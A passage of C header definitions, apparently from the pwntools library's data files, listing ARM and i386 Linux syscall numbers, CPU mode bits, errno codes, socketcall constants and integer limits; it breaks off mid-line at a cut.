#define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define USR26_MODE 0x00 #define FIQ26_MODE 0x01 #define IRQ26_MODE 0x02 #define SVC26_MODE 0x03 #define USR_MODE 0x10 #define FIQ_MODE 0x11 #define IRQ_MODE 0x12 #define SVC_MODE 0x13 #define ABT_MODE 0x17 #define UND_MODE 0x1b #define SYSTEM_MODE 0x1f #define MODE_MASK 0x1f #define T_BIT 0x20 #define F_BIT 0x40 #define I_BIT 0x80 #define CC_V_BIT (1 << 28) #define CC_C_BIT (1 << 29) #define CC_Z_BIT (1 << 30) #define CC_N_BIT (1 << 31) #define PCMASK 0 #define SYS_accept (0+285) #define SYS_accept4 (0+366) #define SYS_access (0+ 33) #define SYS_acct (0+ 51) #define SYS_add_key (0+309) #define SYS_adjtimex (0+124) #define SYS_alarm (0+ 27) #define SYS_arm_fadvise64_64 (0+270) #define SYS_arm_sync_file_range (0+341) #define SYS_bdflush (0+134) #define SYS_bind (0+282) #define SYS_bpf (0+386) #define SYS_brk (0+ 45) #define SYS_capget (0+184) #define SYS_capset (0+185) #define SYS_chdir (0+ 12) #define SYS_chmod (0+ 15) #define SYS_chown (0+182) #define SYS_chown32 (0+212) #define SYS_chroot (0+ 61) #define SYS_clock_adjtime (0+372) #define SYS_clock_adjtime64 (0 + 405) #define SYS_clock_getres (0+264) #define SYS_clock_getres_time64 (0 + 406) #define SYS_clock_gettime (0+263) #define SYS_clock_gettime64 (0 + 403) #define SYS_clock_nanosleep (0+265) #define SYS_clock_nanosleep_time64 (0 + 407) #define SYS_clock_settime (0+262) #define SYS_clock_settime64 (0 + 404) #define SYS_clone (0+120) #define SYS_clone3 (0 + 435) #define SYS_close (0+ 6) #define SYS_connect (0+283) #define SYS_copy_file_range (0+391) #define SYS_creat (0+ 8) #define SYS_delete_module (0+129) #define SYS_dup (0+ 41) #define SYS_dup2 (0+ 63) #define SYS_dup3 (0+358) #define SYS_epoll_create (0+250) #define SYS_epoll_create1 (0+357) #define SYS_epoll_ctl (0+251) #define SYS_epoll_wait (0+252) #define SYS_eventfd (0+351) #define SYS_eventfd2 (0+356) #define SYS_execve (0+ 11) #define SYS_execveat (0+387) #define SYS_exit (0+ 1) #define SYS_exit_group (0+248) #define SYS_faccessat (0+334) #define SYS_fallocate (0+352) #define SYS_fanotify_init (0+367) #define SYS_fanotify_mark (0+368) #define SYS_fchdir (0+133) #define SYS_fchmod (0+ 94) #define SYS_fchmodat (0+333) #define SYS_fchown (0+ 95) #define SYS_fchown32 (0+207) #define SYS_fchownat (0+325) #define SYS_fcntl (0+ 55) #define SYS_fcntl64 (0+221) #define SYS_fdatasync (0+148) #define SYS_fgetxattr (0+231) #define SYS_finit_module (0+379) #define SYS_flistxattr (0+234) #define SYS_flock (0+143) #define SYS_fork (0+ 2) #define SYS_fremovexattr (0+237) #define SYS_fsconfig (0 + 431) #define SYS_fsetxattr (0+228) #define SYS_fsmount (0 + 432) #define SYS_fsopen (0 + 430) #define SYS_fspick (0 + 433) #define SYS_fstat (0+108) #define SYS_fstat64 (0+197) #define SYS_fstatat64 (0+327) #define SYS_fstatfs (0+100) #define SYS_fstatfs64 (0+267) #define SYS_fsync (0+118) #define SYS_ftruncate (0+ 93) #define SYS_ftruncate64 (0+194) #define SYS_futex (0+240) #define SYS_futex_time64 (0 + 422) #define SYS_futimesat (0+326) #define SYS_getcpu (0+345) #define SYS_getcwd (0+183) #define SYS_getdents (0+141) #define SYS_getdents64 (0+217) #define SYS_getegid (0+ 50) #define SYS_getegid32 (0+202) #define SYS_geteuid (0+ 49) #define SYS_geteuid32 (0+201) #define SYS_getgid (0+ 47) #define SYS_getgid32 (0+200) #define SYS_getgroups (0+ 80) #define SYS_getgroups32 (0+205) #define SYS_getitimer (0+105) #define SYS_get_mempolicy (0+320) #define SYS_getpeername (0+287) #define SYS_getpgid (0+132) #define SYS_getpgrp (0+ 65) #define SYS_getpid (0+ 20) #define SYS_getppid (0+ 64) #define SYS_getpriority (0+ 96) #define SYS_getrandom (0+384) #define SYS_getresgid (0+171) #define SYS_getresgid32 (0+211) #define SYS_getresuid (0+165) #define SYS_getresuid32 (0+209) #define SYS_getrlimit (0+ 76) #define SYS_get_robust_list (0+339) #define SYS_getrusage (0+ 77) #define SYS_getsid (0+147) #define SYS_getsockname (0+286) #define SYS_getsockopt (0+295) #define SYS_gettid (0+224) #define SYS_gettimeofday (0+ 78) #define SYS_getuid (0+ 24) #define SYS_getuid32 (0+199) #define SYS_getxattr (0+229) #define SYS_init_module (0+128) #define SYS_inotify_add_watch (0+317) #define SYS_inotify_init (0+316) #define SYS_inotify_init1 (0+360) #define SYS_inotify_rm_watch (0+318) #define SYS_io_cancel (0+247) #define SYS_ioctl (0+ 54) #define SYS_io_destroy (0+244) #define SYS_io_getevents (0+245) #define SYS_io_pgetevents (0 + 399) #define SYS_io_pgetevents_time64 (0 + 416) #define SYS_ioprio_get (0+315) #define SYS_ioprio_set (0+314) #define SYS_io_setup (0+243) #define SYS_io_submit (0+246) #define SYS_io_uring_enter (0 + 426) #define SYS_io_uring_register (0 + 427) #define SYS_io_uring_setup (0 + 425) #define SYS_ipc (0+117) #define SYS_kcmp (0+378) #define SYS_kexec_file_load (0 + 401) #define SYS_kexec_load (0+347) #define SYS_keyctl (0+311) #define SYS_kill (0+ 37) #define SYS_lchown (0+ 16) #define SYS_lchown32 (0+198) #define SYS_lgetxattr (0+230) #define SYS_link (0+ 9) #define SYS_linkat (0+330) #define SYS_listen (0+284) #define SYS_listxattr (0+232) #define SYS_llistxattr (0+233) #define SYS__llseek (0+140) #define SYS_lookup_dcookie (0+249) #define SYS_lremovexattr (0+236) #define SYS_lseek (0+ 19) #define SYS_lsetxattr (0+227) #define SYS_lstat (0+107) #define SYS_lstat64 (0+196) #define SYS_madvise (0+220) #define SYS_mbind (0+319) #define SYS_membarrier (0+389) #define SYS_memfd_create (0+385) #define SYS_migrate_pages (0 + 400) #define SYS_mincore (0+219) #define SYS_mkdir (0+ 39) #define SYS_mkdirat (0+323) #define SYS_mknod (0+ 14) #define SYS_mknodat (0+324) #define SYS_mlock (0+150) #define SYS_mlock2 (0+390) #define SYS_mlockall (0+152) #define SYS_mmap (0+ 90) #define SYS_mmap2 (0+192) #define SYS_mount (0+ 21) #define SYS_move_mount (0 + 429) #define SYS_move_pages (0+344) #define SYS_mprotect (0+125) #define SYS_mq_getsetattr (0+279) #define SYS_mq_notify (0+278) #define SYS_mq_open (0+274) #define SYS_mq_timedreceive (0+277) #define SYS_mq_timedreceive_time64 (0 + 419) #define SYS_mq_timedsend (0+276) #define SYS_mq_timedsend_time64 (0 + 418) #define SYS_mq_unlink (0+275) #define SYS_mremap (0+163) #define SYS_msgctl (0+304) #define SYS_msgget (0+303) #define SYS_msgrcv (0+302) #define SYS_msgsnd (0+301) #define SYS_msync (0+144) #define SYS_munlock (0+151) #define SYS_munlockall (0+153) #define SYS_munmap (0+ 91) #define SYS_name_to_handle_at (0+370) #define SYS_nanosleep (0+162) #define SYS__newselect (0+142) #define SYS_nfsservctl (0+169) #define SYS_nice (0+ 34) #define SYS_OABI_SYSCALL_BASE 0x900000 #define SYS_open (0+ 5) #define SYS_openat (0+322) #define SYS_openat2 (0 + 437) #define SYS_open_by_handle_at (0+371) #define SYS_open_tree (0 + 428) #define SYS_pause (0+ 29) #define SYS_pciconfig_iobase (0+271) #define SYS_pciconfig_read (0+272) #define SYS_pciconfig_write (0+273) #define SYS_perf_event_open (0+364) #define SYS_personality (0+136) #define SYS_pidfd_getfd (0 + 438) #define SYS_pidfd_open (0 + 434) #define SYS_pidfd_send_signal (0 + 424) #define SYS_pipe (0+ 42) #define SYS_pipe2 (0+359) #define SYS_pivot_root (0+218) #define SYS_pkey_alloc (0 + 395) #define SYS_pkey_free (0 + 396) #define SYS_pkey_mprotect (0 + 394) #define SYS_poll (0+168) #define SYS_ppoll_time64 (0 + 414) #define SYS_prctl (0+172) #define SYS_pread64 (0+180) #define SYS_preadv (0+361) #define SYS_preadv2 (0+392) #define SYS_prlimit64 (0+369) #define SYS_process_vm_readv (0+376) #define SYS_process_vm_writev (0+377) #define SYS_pselect6_time64 (0 + 413) #define SYS_ptrace (0+ 26) #define SYS_pwrite64 (0+181) #define SYS_pwritev (0+362) #define SYS_pwritev2 (0+393) #define SYS_quotactl (0+131) #define SYS_read (0+ 3) #define SYS_readahead (0+225) #define SYS_readdir (0+ 89) #define SYS_readlink (0+ 85) #define SYS_readlinkat (0+332) #define SYS_readv (0+145) #define SYS_reboot (0+ 88) #define SYS_recv (0+291) #define SYS_recvfrom (0+292) #define SYS_recvmmsg (0+365) #define SYS_recvmmsg_time64 (0 + 417) #define SYS_recvmsg (0+297) #define SYS_remap_file_pages (0+253) #define SYS_removexattr (0+235) #define SYS_rename (0+ 38) #define SYS_renameat (0+329) #define SYS_renameat2 (0+382) #define SYS_request_key (0+310) #define SYS_restart_syscall (0+ 0) #define SYS_rmdir (0+ 40) #define SYS_rseq (0 + 398) #define SYS_rt_sigaction (0+174) #define SYS_rt_sigpending (0+176) #define SYS_rt_sigprocmask (0+175) #define SYS_rt_sigqueueinfo (0+178) #define SYS_rt_sigreturn (0+173) #define SYS_rt_sigsuspend (0+179) #define SYS_rt_sigtimedwait (0+177) #define SYS_rt_sigtimedwait_time64 (0 + 421) #define SYS_rt_tgsigqueueinfo (0+363) #define SYS_sched_getaffinity (0+242) #define SYS_sched_getattr (0+381) #define SYS_sched_getparam (0+155) #define SYS_sched_get_priority_max (0+159) #define SYS_sched_get_priority_min (0+160) #define SYS_sched_getscheduler (0+157) #define SYS_sched_rr_get_interval (0+161) #define SYS_sched_rr_get_interval_time64 (0 + 423) #define SYS_sched_setaffinity (0+241) #define SYS_sched_setattr (0+380) #define SYS_sched_setparam (0+154) #define SYS_sched_setscheduler (0+156) #define SYS_sched_yield (0+158) #define SYS_seccomp (0+383) #define SYS_select (0+ 82) #define SYS_semctl (0+300) #define SYS_semget (0+299) #define SYS_semop (0+298) #define SYS_semtimedop (0+312) #define SYS_semtimedop_time64 (0 + 420) #define SYS_send (0+289) #define SYS_sendfile (0+187) #define SYS_sendfile64 (0+239) #define SYS_sendmmsg (0+374) #define SYS_sendmsg (0+296) #define SYS_sendto (0+290) #define SYS_setdomainname (0+121) #define SYS_setfsgid (0+139) #define SYS_setfsgid32 (0+216) #define SYS_setfsuid (0+138) #define SYS_setfsuid32 (0+215) #define SYS_setgid (0+ 46) #define SYS_setgid32 (0+214) #define SYS_setgroups (0+ 81) #define SYS_setgroups32 (0+206) #define SYS_sethostname (0+ 74) #define SYS_setitimer (0+104) #define SYS_set_mempolicy (0+321) #define SYS_setns (0+375) #define SYS_setpgid (0+ 57) #define SYS_setpriority (0+ 97) #define SYS_setregid (0+ 71) #define SYS_setregid32 (0+204) #define SYS_setresgid (0+170) #define SYS_setresgid32 (0+210) #define SYS_setresuid (0+164) #define SYS_setresuid32 (0+208) #define SYS_setreuid (0+ 70) #define SYS_setreuid32 (0+203) #define SYS_setrlimit (0+ 75) #define SYS_set_robust_list (0+338) #define SYS_setsid (0+ 66) #define SYS_setsockopt (0+294) #define SYS_set_tid_address (0+256) #define SYS_settimeofday (0+ 79) #define SYS_setuid (0+ 23) #define SYS_setuid32 (0+213) #define SYS_setxattr (0+226) #define SYS_shmat (0+305) #define SYS_shmctl (0+308) #define SYS_shmdt (0+306) #define SYS_shmget (0+307) #define SYS_shutdown (0+293) #define SYS_sigaction (0+ 67) #define SYS_sigaltstack (0+186) #define SYS_signalfd (0+349) #define SYS_signalfd4 (0+355) #define SYS_sigpending (0+ 73) #define SYS_sigprocmask (0+126) #define SYS_sigreturn (0+119) #define SYS_sigsuspend (0+ 72) #define SYS_socket (0+281) #define SYS_socketcall (0+102) #define SYS_socketpair (0+288) #define SYS_splice (0+340) #define SYS_stat (0+106) #define SYS_stat64 (0+195) #define SYS_statfs (0+ 99) #define SYS_statfs64 (0+266) #define SYS_statx (0 + 397) #define SYS_stime (0+ 25) #define SYS_swapoff (0+115) #define SYS_swapon (0+ 87) #define SYS_symlink (0+ 83) #define SYS_symlinkat (0+331) #define SYS_sync (0+ 36) #define SYS_syncfs (0+373) #define SYS_syscall (0+113) #define SYS_SYSCALL_BASE 0 #define SYS__sysctl (0+149) #define SYS_sysfs (0+135) #define SYS_sysinfo (0+116) #define SYS_syslog (0+103) #define SYS_tee (0+342) #define SYS_tgkill (0+268) #define SYS_time (0+ 13) #define SYS_timer_create (0+257) #define SYS_timer_delete (0+261) #define SYS_timerfd (0+350) #define SYS_timerfd_gettime (0+354) #define SYS_timerfd_gettime64 (0 + 410) #define SYS_timerfd_settime (0+353) #define SYS_timerfd_settime64 (0 + 411) #define SYS_timer_getoverrun (0+260) #define SYS_timer_gettime (0+259) #define SYS_timer_gettime64 (0 + 408) #define SYS_timer_settime (0+258) #define SYS_timer_settime64 (0 + 409) #define SYS_times (0+ 43) #define SYS_tkill (0+238) #define SYS_truncate (0+ 92) #define SYS_truncate64 (0+193) #define SYS_ugetrlimit (0+191) #define SYS_umask (0+ 60) #define SYS_umount (0+ 22) #define SYS_umount2 (0+ 52) #define SYS_uname (0+122) #define SYS_unlink (0+ 10) #define SYS_unlinkat (0+328) #define SYS_unshare (0+337) #define SYS_uselib (0+ 86) #define SYS_userfaultfd (0+388) #define SYS_ustat (0+ 62) #define SYS_utime (0+ 30) #define SYS_utimensat (0+348) #define SYS_utimensat_time64 (0 + 412) #define SYS_utimes (0+269) #define SYS_vfork (0+190) #define SYS_vhangup (0+111) #define SYS_vmsplice (0+343) #define SYS_vserver (0+313) #define SYS_wait4 (0+114) #define SYS_waitid (0+280) #define SYS_write (0+ 4) #define SYS_writev (0+146) Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/i386.h000066400000000000000000001240461507273764500242240ustar00rootroot00000000000000#define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_break 17 #define __NR_oldstat 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_oldfstat 28 #define __NR_pause 29 #define __NR_utime 30 #define __NR_stty 31 #define __NR_gtty 32 #define __NR_access 33 #define __NR_nice 34 #define __NR_ftime 35 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_prof 44 #define __NR_brk 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_lock 53 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_mpx 56 #define __NR_setpgid 57 #define __NR_ulimit 58 #define __NR_oldolduname 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_sigaction 67 #define __NR_sgetmask 68 #define __NR_ssetmask 69 #define __NR_setreuid 70 #define __NR_setregid 71 #define __NR_sigsuspend 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define __NR_setrlimit 75 #define __NR_getrlimit 76 #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_getgroups 80 #define __NR_setgroups 81 #define __NR_select 82 #define __NR_symlink 83 #define __NR_oldlstat 84 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_readdir 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_fchown 95 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_profil 98 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_ioperm 101 #define __NR_socketcall 102 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_stat 106 #define __NR_lstat 107 #define __NR_fstat 108 #define __NR_olduname 109 #define __NR_iopl 110 #define __NR_vhangup 111 #define __NR_idle 112 #define __NR_vm86old 113 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_ipc 117 #define __NR_fsync 118 #define __NR_sigreturn 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_uname 122 #define __NR_modify_ldt 123 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_create_module 127 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_get_kernel_syms 130 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_afs_syscall 137 #define __NR_setfsuid 138 #define __NR_setfsgid 139 #define __NR__llseek 140 #define __NR_getdents 141 #define __NR__newselect 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_setresuid 164 #define __NR_getresuid 165 #define __NR_vm86 166 #define __NR_query_module 167 #define __NR_poll 168 #define __NR_nfsservctl 169 #define __NR_setresgid 170 #define __NR_getresgid 171 #define __NR_prctl 172 #define __NR_rt_sigreturn 173 #define __NR_rt_sigaction 174 #define __NR_rt_sigprocmask 175 #define __NR_rt_sigpending 176 #define __NR_rt_sigtimedwait 177 #define __NR_rt_sigqueueinfo 178 #define __NR_rt_sigsuspend 179 #define __NR_pread 180 #define __NR_pwrite 181 #define __NR_chown 182 #define __NR_getcwd 183 #define __NR_capget 184 #define __NR_capset 185 #define __NR_sigaltstack 186 #define __NR_sendfile 187 #define __NR_getpmsg 188 #define __NR_putpmsg 189 #define __NR_vfork 190 #define __NR_ugetrlimit 191 #define __NR_mmap2 192 #define __NR_truncate64 193 #define __NR_ftruncate64 194 #define __NR_stat64 195 #define __NR_lstat64 196 #define __NR_fstat64 197 #define __NR_lchown32 198 #define __NR_getuid32 199 #define __NR_getgid32 200 #define __NR_geteuid32 201 #define __NR_getegid32 202 #define __NR_setreuid32 203 #define __NR_setregid32 204 #define __NR_getgroups32 205 #define __NR_setgroups32 206 #define __NR_fchown32 207 #define __NR_setresuid32 208 #define __NR_getresuid32 209 #define __NR_setresgid32 210 #define __NR_getresgid32 211 #define __NR_chown32 212 #define __NR_setuid32 213 #define __NR_setgid32 214 #define __NR_setfsuid32 215 #define __NR_setfsgid32 216 #define __NR_pivot_root 217 #define __NR_mincore 218 #define __NR_madvise 219 #define __NR_madvise1 219 #define __NR_getdents64 220 #define __NR_fcntl64 221 #define __NR_gettid 224 #define __NR_readahead 225 #define __NR_setxattr 226 #define __NR_lsetxattr 227 #define __NR_fsetxattr 228 #define __NR_getxattr 229 #define __NR_lgetxattr 230 #define __NR_fgetxattr 231 #define __NR_listxattr 232 #define __NR_llistxattr 233 #define __NR_flistxattr 234 #define __NR_removexattr 235 #define __NR_lremovexattr 236 #define __NR_fremovexattr 237 #define __NR_tkill 238 #define __NR_sendfile64 239 #define __NR_futex 240 #define __NR_sched_setaffinity 241 #define __NR_sched_getaffinity 242 #define __NR_set_thread_area 243 #define __NR_get_thread_area 244 #define __NR_io_setup 245 #define __NR_io_destroy 246 #define __NR_io_getevents 247 #define __NR_io_submit 248 #define __NR_io_cancel 249 #define __NR_fadvise64 250 #define __NR_exit_group 252 #define __NR_lookup_dcookie 253 #define __NR_epoll_create 254 #define __NR_epoll_ctl 255 #define __NR_epoll_wait 256 #define __NR_remap_file_pages 257 #define __NR_set_tid_address 258 #define __NR_timer_create 259 #define __NR_timer_settime (259+1) #define __NR_timer_gettime (259+2) #define __NR_timer_getoverrun (259+3) #define __NR_timer_delete (259+4) #define __NR_clock_settime (259+5) #define __NR_clock_gettime (259+6) #define __NR_clock_getres (259+7) #define __NR_clock_nanosleep (259+8) #define __NR_statfs64 268 #define __NR_fstatfs64 269 #define __NR_tgkill 270 #define __NR_utimes 271 #define __NR_fadvise64_64 272 #define __NR_vserver 273 #define __NR_mbind 274 #define __NR_get_mempolicy 275 #define __NR_set_mempolicy 276 #define __NR_mq_open 277 #define __NR_mq_unlink (277+1) #define __NR_mq_timedsend (277+2) #define __NR_mq_timedreceive (277+3) #define __NR_mq_notify (277+4) #define __NR_mq_getsetattr (277+5) #define __NR_sys_kexec_load 283 #define __NR_waitid 284 #define __NR_add_key 286 #define __NR_request_key 287 #define __NR_keyctl 288 #define __NR_ioprio_set 289 #define __NR_ioprio_get 290 #define __NR_inotify_init 291 #define __NR_inotify_add_watch 292 #define __NR_inotify_rm_watch 293 #define __NR_migrate_pages 294 #define __NR_openat 295 #define __NR_mkdirat 296 #define __NR_mknodat 297 #define __NR_fchownat 298 #define __NR_futimesat 299 #define __NR_fstatat64 300 #define __NR_unlinkat 301 #define __NR_renameat 302 #define __NR_linkat 303 #define __NR_symlinkat 304 #define __NR_readlinkat 305 #define __NR_fchmodat 306 #define __NR_faccessat 307 #define __NR_pselect6 308 #define __NR_ppoll 309 #define __NR_unshare 310 #define __NR_set_robust_list 311 #define __NR_get_robust_list 312 #define __NR_splice 313 #define __NR_sync_file_range 314 #define __NR_tee 315 #define __NR_vmsplice 316 #define __NR_move_pages 317 #define __NR_getcpu 318 #define __NR_epoll_pwait 319 #define __NR_utimensat 320 #define __NR_signalfd 321 #define __NR_timerfd 322 #define __NR_eventfd 323 #define __NR_fallocate 324 #define __NR_timerfd_settime 325 #define __NR_timerfd_gettime 326 #define __NR_signalfd4 327 #define __NR_eventfd2 328 #define __NR_epoll_create1 329 #define __NR_dup3 330 #define __NR_pipe2 331 #define __NR_inotify_init1 332 #define __NR_preadv 333 #define __NR_pwritev 334 #define __NR_rt_tgsigqueueinfo 335 #define __NR_perf_event_open 336 #define __NR_recvmmsg 337 #define __NR_fanotify_init 338 #define __NR_fanotify_mark 339 #define __NR_prlimit64 340 #define __NR_name_to_handle_at 341 #define __NR_open_by_handle_at 342 #define __NR_clock_adjtime 343 #define __NR_syncfs 344 #define __NR_sendmmsg 345 #define __NR_setns 346 #define __NR_process_vm_readv 347 #define __NR_process_vm_writev 348 #define __NR_kcmp 349 #define __NR_finit_module 350 #define __NR_sched_setattr 351 #define __NR_sched_getattr 352 #define __NR_renameat2 353 #define __NR_seccomp 354 #define __NR_getrandom 355 #define __NR_memfd_create 356 #define __NR_bpf 357 #define __NR_execveat 358 #define __NR_socket 359 #define __NR_socketpair 360 #define __NR_bind 361 #define __NR_connect 362 #define __NR_listen 363 #define __NR_accept4 364 #define __NR_getsockopt 365 #define __NR_setsockopt 366 #define __NR_getsockname 367 #define __NR_getpeername 368 #define __NR_sendto 369 #define __NR_sendmsg 370 #define __NR_recvfrom 371 #define __NR_recvmsg 372 #define __NR_shutdown 373 #define __NR_userfaultfd 374 #define __NR_membarrier 375 #define __NR_mlock2 376 #define __NR_copy_file_range 377 #define __NR_preadv2 378 #define __NR_pwritev2 379 #define __NR_pkey_mprotect 380 #define __NR_pkey_alloc 381 #define __NR_pkey_free 382 #define __NR_ia32_statx 383 #define __NR_ia32_arch_prctl 384 #define __NR_ia32_io_pgetevents 385 #define __NR_ia32_rseq 386 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_clock_gettime64 403 #define __NR_clock_settime64 404 #define __NR_clock_adjtime64 405 #define __NR_clock_getres_time64 406 #define __NR_clock_nanosleep_time64 407 #define __NR_timer_gettime64 408 #define __NR_timer_settime64 409 #define __NR_timerfd_gettime64 410 #define __NR_timerfd_settime64 411 #define __NR_utimensat_time64 412 #define __NR_pselect6_time64 413 #define __NR_ppoll_time64 414 #define __NR_io_pgetevents_time64 416 #define __NR_recvmmsg_time64 417 #define __NR_mq_timedsend_time64 418 #define __NR_mq_timedreceive_time64 419 #define __NR_semtimedop_time64 420 #define __NR_rt_sigtimedwait_time64 421 #define __NR_futex_time64 422 #define __NR_sched_rr_get_interval_time64 423 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define SYS_SOCKET 1 #define SYS_BIND 2 #define SYS_CONNECT 3 #define SYS_LISTEN 4 #define SYS_ACCEPT 5 #define SYS_GETSOCKNAME 6 #define SYS_GETPEERNAME 7 #define SYS_SOCKETPAIR 8 #define SYS_SEND 9 #define SYS_RECV 10 #define SYS_SENDTO 11 #define SYS_RECVFROM 12 #define SYS_SHUTDOWN 13 #define SYS_SETSOCKOPT 14 #define SYS_GETSOCKOPT 15 #define SYS_SENDMSG 16 #define SYS_RECVMSG 17 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 1234 #define __FLOAT_WORD_ORDER 1234 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 1234 #define __WORDSIZE 32 #define __UNALIGNED_MEMORY_ACCESS_OK 1 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN 